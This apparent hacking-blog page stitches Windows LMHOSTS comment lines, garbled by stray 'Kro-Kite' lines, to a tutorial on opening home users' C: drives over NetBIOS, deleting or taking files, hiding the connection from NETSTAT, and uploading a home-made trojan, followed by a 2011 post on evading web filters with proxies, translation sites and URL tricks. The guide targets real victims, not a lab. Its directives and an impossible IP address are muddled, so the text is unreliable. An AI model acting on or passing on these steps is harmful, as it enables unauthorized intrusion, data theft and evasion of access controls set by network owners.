<-Kro-Kite didn't missed point I just left blank w/o purpose
# Following an entry with the "#DOM:" tag will associate the
# entry with the domain specified by . This affects how the
# browser and logon services behave in TCP/IP environments. To preload
# the host name associated with #DOM entry, it is necessary to also add a
# #PRE to the line. The is always preloaded although it will not
# be shown when the name cache is viewed.
# <-Kro-Kite didn't missed point I just left blank it's my wish
# Specifying "#INCLUDE " will force the RFC NetBIOS (NBT)
# software to seek the specified and parse it as if it were
# local. is generally a UNC-based name, allowing a
<-Kro-Kite didn't missed point I just left blank it's my wish
# centralized lmhosts file to be maintained on a server.
# It is ALWAYS necessary to provide a mapping for the IP address of the
# server prior to the #INCLUDE. This mapping must use the #PRE directive.
# In addtion the share "public" in the example below must be in the
# LanManServer list of "NullSessionShares" in order for client machines to
# be able to read the lmhosts file successfully. This key is under
# \machine\system\currentcontrolset\services\lanmans erver\parameters\nullsessionshares
# in the registry. Simply add "public" to the list found there.
# <-Kro-Kite didn't missed point I just left blank it's my wish
# The #BEGIN_ and #END_ALTERNATE keywords allow multiple #INCLUDE
# statements to be grouped together. Any single successful include
# will cause the group to succeed.
# <-Kro-Kite didn't missed point I just left blank it's my wish
# Finally, non-printing characters can be embedded in mappings by
# first surrounding the NetBIOS name in quotations, then using the
# \0xnn notation to specify a hex value for a non-printing character.


Read this over and over until you understand the way you want your connection to be set. Here's an example of how to add an IP the way I would do it:
#PRE #DOM:255.102.255.102 #INCLUDE
Pre will preload the connection as soon as you log on to the net. DOM is the domain or IP address of the host you are connecting to. INCLUDE will automaticall set you to that file path. In this case as soon as I log on to the net I will get access to 255.102.255.102 on the C:/ drive. The only problem with this is that by doin the NETSTAT command while you are connected, and get the IP of your machine. That's why it only works on simple PC machines. Because people in these days are computer illiterate and have no idea of what these commands can do. They have no idea what NETSTAT is, so you can use that to your advantage. Most PC systems are kind of hard to hack using this method now because they are more secure and can tell when another system is trying to gain access. Also, besure that you (somehow) know whether they are running a firewall or not because it will block the connection to their computer. Most home systems aren't running a firewall, and to make it better, they don't know how operate the firewall, therefore, leaving the hole in the system. To help you out some, it would be a great idea to pick up on some programming languages to show you how the computer reads information and learn some things on TCP/IP (Transfer Control Protocol/Internet Protocol) If you want to find out whether they are running a firewall, simply hop on a Proxy and do a port scan on their IP. You will notice if they are running a firewall because most ports are . Either way, you still have a better chance of hacking a home system than hacking Microsoft.
Gaining Access



7. Once you have added this to you LMHOST file. You are basically done. All you need to do is go to:
Start
Find
Computer

Once you get there you simply type the IP address or the host name of the system. When it comes up, simply double click it, and boom! There's a GUI for you so you don't have to use DOS anymore. You can use DOS to do it, but it's more simple and fun this way, so that's the only way i put it. When you open the system you can edit, delete, rename, do anything to any file you wish. I would also delete the command file in C:/ because they may use it if they think someone is in their computer. Or simply delete the shortcut to it. Then here's when the programming comes in handy. Instead of using the NBTSTAT method all the time, you can then program you own trojan on your OWN port number and upload it to the system. Then you will have easier access and you will also have a better GUI, with more features. DO NOT allow more than one connection to the system unless they are on a faster connection. If you are downloading something from their computer and they don't know it and their connection is being slow, they may check their NETSTAT to see what is connected, which will show your IP and make them suspicious. Thats it. All there is to it. Now go out and scan a network or something and find a computer with port 21 or something open .

Hoomp ! Posting Such Tutorial is just time taking, Anyways Thats Just Fine..

Friday, April 1, 2011

Bypassing Web Filters And Firewalls

There are So many talk Going on Our Group In Facebook Page About Proxy ..and everyone is Giving thier own suggestions(Appreciated), Phil , Risabh , Kevin , Udomang , Dheeraj , BLak dayz ,Tony ..Thank fr all ur suggestions annd i got several set of ideas about that and Same as  Our Defend Hackers Members and i come up with tha Breaking Web Filters,(Since i got Solution for my friend from our group) and there are times when when we are forced to use proxy and we know , with proxy many sites are blocked, But here is a way to bypass all the Webfilters. When a site is blocked , you can use this method to bypass the block!




Lets pretend for a moment that the Internet is made up of 26 websites, A-Z. The web filter blocks your browser from accessing sites X-Z, but not sites A-W. Simply make the browser think you--„¢re going to A-
W. There are a variety of ways to do this:


Proxy Servers:
This is a list of http proxies. These sites may not be up forever, so you may need to search for --“free http proxy--� or --“public proxy servers--� or other similar terms.

Proxy server lists:
-- http://www.aliveproxy.com
-- http://www.multiproxy.org
-- http://www.publicproxyservers.com/index.html
-- http://www.tehbox.com/proxy
-- http://www.proxz.com
-- http://www.proxy4free.com/index.html
-- http://free-proxies.com

Now that you have a list of proxies, you would open IE (internet explorer) and click on Tools > Internet Options > Connections > LAN Settings > Advanced. Enter the address and port of one of the servers from the list in the proper area (http) and make sure the --“use a proxy server for your LAN--� option is selected. Remember to replace the proxy and port at your terminal to the original when you're done.

*Note: Some proxies listed may not work, and this method may decrease your surfing speed. By trying various entries, you--„¢ll find one that works, or works faster.

The infamous translation trick:
Go to a web page translation site and use their services to --“translate a page to English--� thus accessing the blocked page through their trusted site.

You--„¢ll notice that several translation sites are blocked, but by using less popular ones, this method can still be effective. Here is a list of some translation services. Again, these sites may not be up forever, so you may need to search for them.

-- http://babelfish.altavista.com
-- http://world.altavista.com
-- http://translation.langenberg.com
-- http://freetranslation.com/web.thm

Url Scripting:



Url scripting is the easiest method. It works on a select few web filters and is based on the same principal as the translation trick. By typing and address like --“www.yahoo.com@www.restricted_site.com the filter will not go into effect as it recognizes the trusted site (in this case yahoo.com)

Other tricks:
Simply open the command prompt and type:
Ping restricted.com ? restricted.com obviously being the restricted site
At this point you can take down the IP address (ex. 216.109.124.73) and enter it into the browser. If access to the command prompt is also restricted, see --“How to bypass restrictions to get to the command prompt.--� If this article has been taken from information leak, then know that it involves anything from opening the browser, selecting view > source, then saving it as X.bat and opening it to opening a folder or browser and typing in the location of cmd.exe depending on the OS. I will not go into further, as this a completely different topic.

Use https://restrictedsite.com as referring to it as a secured site may confuse the filter.

Note: These are ancient methods that many new filters defend against, but still may be applicable in your situation. If not, a little history never hurt anyone.

Web based Proxies:
Another one of the easier, yet effective methods include web based proxies. These are simple in the fact that you just enter the restricted address and surf! Some of these have some restrictions, like daily usage limits, etc but you can also use another proxy (perhaps one that sucks, like a text only) to bypass their restrictions as well. Here is a list of some:

-- http://proxify.com]http://proxify.com
-- http://www.anonymizer.com/index.cgi]http://www.anonymizer.com/index.cgi
-- http://www.guardster.com/]http://www.guardster.com/
-- http://anonymouse.ws/anonwww.html]http://anonymouse.ws/anonwww.html
-- http://www.the-cloak.com/login.html]http://www.the-cloak.com/login.html
-- https://www.megaproxy.com/freesurf]https://www.megaproxy.com/freesurf
-- http://www.anonymizer.ru]http://www.anonymizer.ru
-- https://nadaily.com/cgi-bin/nph-proxyb.cgi]https://nadaily.com/cgi-bin/nph-proxyb.cgi
-- http://www.userbeam.de/cgi-bin/nph-userbeam.cgi]http://www.userbeam.de/cgi-bin/nph-userbeam.cgi
-- http://www.free2.surffreedom.com/nph-free.cgi]http://www.free2.surffreedom.com/nph-free.cgi

Proxy Programs:
There are many proxy programs that allow you to surf anonymously that are more or less based on the same topics we--„¢ve covered here. I--„¢ve added them just to cover the topic thoroughly:

-- http://www.hotscripts.com/Detailed/28480.html]http://www.hotscripts.com/Detailed/28480.html
-- http://www.inetprivacy.com/a4proxy/anonymous-grc.htm]http://www.inetprivacy.com/a4proxy/anonymous-grc.htm
-- http://www.orangatango.com/home/index.ie.html]http://www.orangatango.com/home/index.ie.html
-- http://www.steganos.com]http://www.steganos.com
-- http://www.anonymization.net]http://www.anonymization.net ? toolbar that requires admin rights to install

Making your own CGI proxy server:

Making your own proxy server may come in handy, but I personally find that simply uploading a txt file/w a list of proxies to a free host makes for a much easier and headache free solution. If you don--„¢t know PERL, there is code out there to help you set it up. Check out these sites for more info:

-- http://httpbridge.sourceforge.net]http://httpbridge.sourceforge.net
-- http://www.jmarshall.com/tools/cgiproxy]http://www.jmarshall.com/tools/cgiproxy



Stay Updated..Wannna Join in our  Group in Facebook for the HARDCORE Technical Discussion... Like us...Write in our Facebook page